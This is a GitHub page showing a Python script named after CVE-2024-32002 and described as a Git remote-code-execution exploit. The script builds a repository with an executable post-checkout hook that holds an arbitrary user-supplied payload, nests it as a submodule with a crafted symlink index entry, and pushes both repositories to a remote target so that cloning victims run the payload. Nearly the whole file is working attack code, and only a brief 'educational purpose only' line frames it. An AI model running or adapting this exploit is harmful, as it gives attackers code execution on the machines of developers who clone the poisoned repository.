-
Notifications
You must be signed in to change notification settings - Fork 0
/
CVE-2024-32002.py
175 lines (137 loc) · 7.4 KB
/
CVE-2024-32002.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
from argparse import ArgumentParser
from subprocess import run as subprocess_run, CalledProcessError
from re import findall
from stat import S_IEXEC, S_IXGRP, S_IXOTH
from os import mkdir, makedirs, path, chdir, getcwd, chmod
vuln_version = [ "2.45.0" ]
parser = ArgumentParser(
prog="CVE-2024-32002",
description="Exploit Git vulnerability with RCE",
epilog="Tool is used for educational purpose only. Developed by Samuel Greco"
)
parser.add_argument('--hook-repo', default='hook', help='Set name of the hook repository (Default: hook)')
parser.add_argument('--main-repo', default='captain', help='Set name of the main repository that include submodule with hook (Default: captain)')
target_parser = parser.add_mutually_exclusive_group(required=True)
target_parser.add_argument('--run-locally', action='store_true', help='Use this to run the exploit locally on the system')
target_parser.add_argument('--target', help="Set remote git target (ex. https://myserver.com/myuserame/)")
payload_parser = parser.add_mutually_exclusive_group(required=True)
payload_parser.add_argument('--payload', type=str, help='Set payload to run with the RCE (Use "my payload" syntax)')
payload_parser.add_argument('--payload-file', help='Read payload to run with the RCE from a file')
args = parser.parse_args()
def is_installed(tool):
from shutil import which
return which(tool) is not None
def find_version(text):
version_pattern = r'\b(\d+\.\d+\.\d+)'
version = findall(version_pattern, text)
if len(version) > 0:
return version[0]
def get_git_version():
try:
result = subprocess_run(['git', '--version'], capture_output=True, text=True, check=True)
return result.stdout.strip()
except CalledProcessError as e:
raise Exception("Error while trying to get git version")
def is_vuln_git(version):
return version in vuln_version
def push_remote(local_path, repo_name):
startPath = getcwd()
chdir(path.join(startPath, repo_name))
print(f"[+] Adding remote origin for {repo_name}")
set_remote = subprocess_run(['git', 'remote', 'add', 'origin', f"{args.target}/{repo_name}.git"], capture_output=True, text=True, check=True)
set_git_branch_hook = subprocess_run(['git', 'branch', '-M', 'main'], capture_output=True, text=True, check=True)
try:
push_remote_hook = subprocess_run(['git', 'push', '-u', 'origin', 'main'], capture_output=True, text=True, check=True)
except CalledProcessError as e:
print("[-] You need to create an empty repository on the target first !")
exit()
print(f"[+] {repo_name} pushed to remote target !")
chdir(startPath)
if not is_installed('git'):
print("[-] Git is not installed locally")
exit()
version = find_version(get_git_version())
try:
# Create hook repository with post-checkout RCE trigger
print(f"[+] Creating hook repo ({args.hook_repo})...")
hook_repo_create_status = subprocess_run(['git', 'init', args.hook_repo], capture_output=True, text=True, check=True)
print("[+] Settings up repository configuration...")
hook_repo_config_protocol_file = subprocess_run(['git', 'config', 'protocol.file.allow', 'always', args.hook_repo], capture_output=True, text=True, check=True)
hook_repo_create_status = subprocess_run(['git', 'config', 'core.symlinks', 'true', args.hook_repo], capture_output=True, text=True, check=True)
print(f"[+] {args.hook_repo} repository created !")
except CalledProcessError as e:
raise Exception(f"Error while trying to create the {args.hook_repo}")
hooks_path = path.join(getcwd(), args.hook_repo, 'y', 'hooks')
try:
makedirs(hooks_path)
print("[+] Hooks directories created !")
except FileExistsError:
print("Folders already exists !")
exit()
except Exception as e:
print("[-] Something gone wrong !")
exit()
print("[+] Writing payload to post-checkout file...")
if args.payload:
with open(path.join(hooks_path, 'post-checkout'), 'w') as postCheckoutFile:
postCheckoutFile.write(args.payload)
elif args.payload_file:
payload = None
with open(args.payload_file) as payloadFile:
payload = payloadFile.read()
if not payload:
raise Exception("[-] Error while trying to read payload file")
with open(path.join(hooks_path, 'post-checkout'), 'w') as postCheckoutFile:
postCheckoutFile.write(payload)
print("[+] Payload created on post-checkout !", end="\n\n")
chmod(path.join(hooks_path, 'post-checkout'), S_IEXEC | S_IXGRP | S_IXOTH)
try:
# Commit changes on hook repository
print(f"[+] Commit changes on hook repo ({args.hook_repo})...", end="\n\n")
chdir(path.join(getcwd(), args.hook_repo))
add_changes_hook_status = subprocess_run(['git', 'add', 'y/hooks/post-checkout'], capture_output=True, text=True, check=True)
commit_changes_status = subprocess_run(['git', 'commit', '-m', 'add post-checkout hook'])
except CalledProcessError as e:
raise Exception(f"Error while adding changes to the repository")
print(e)
chdir('..')
if not args.run_locally:
push_remote(args.hook_repo, args.hook_repo)
try:
# Create main repository to add submodules from hook repository
print(f"[+] Creating main repo ({args.main_repo})...")
print("[+] Settings up repository configuration...")
main_repo_create_status = subprocess_run(['git', 'init', args.main_repo], capture_output=True, text=True, check=True)
main_repo_config_protocol_file = subprocess_run(['git', 'config', 'protocol.file.allow', 'always', args.hook_repo], capture_output=True, text=True, check=True)
main_repo_create_status = subprocess_run(['git', 'config', 'core.symlinks', 'true', args.hook_repo], capture_output=True, text=True, check=True)
print(f"[+] {args.main_repo} repository created !")
except CalledProcessError as e:
raise Exception(f"Error while trying to create the {args.main_repo}")
# Create and add submodules from hook repository
try:
print(f"[+] Adding submodules from hook repo ({args.hook_repo})...", end="\n\n")
chdir(path.join(getcwd(), f"{args.main_repo}"))
add_submodules_status = subprocess_run(['git', 'submodule', 'add', '--name', path.join('x', 'y'), f"{args.target}/{args.hook_repo}.git", path.join('A', 'modules' ,'x')], capture_output=True, text=True, check=True)
add_changes_main_status = subprocess_run(['git', 'add', '.'], capture_output=True, text=True, check=True)
commit_changes_status = subprocess_run(['git', 'commit', '-m', 'add submodule'])
with open('dotgit.txt', 'w') as dotDigitFile:
dotDigitFile.write('.git')
with open('dotgit.txt', 'rb') as file_in:
dotDigitBinary = subprocess_run(['git', 'hash-object', '-w', '--stdin'], stdin=file_in, capture_output=True)
with open('dot-git.hash', 'wb') as file_out:
file_out.write(dotDigitBinary.stdout.strip())
with open('dot-git.hash', 'r') as file:
git_hash = file.read().strip()
index_info_content = f"120000 {git_hash} 0\ta\n"
with open('index.info', 'w') as indexInfoFile:
indexInfoFile.write(index_info_content)
with open('index.info', 'rb') as indexInfoFile:
subprocess_run(['git', 'update-index', '--index-info'], stdin=indexInfoFile)
commit_changes_status = subprocess_run(['git', 'commit', '-m', 'add symlink'])
except CalledProcessError as e:
raise Exception(f"Error while adding submodules to {args.main_repo}")
chdir('..')
if args.run_locally:
pass
else:
push_remote(args.main_repo, args.main_repo)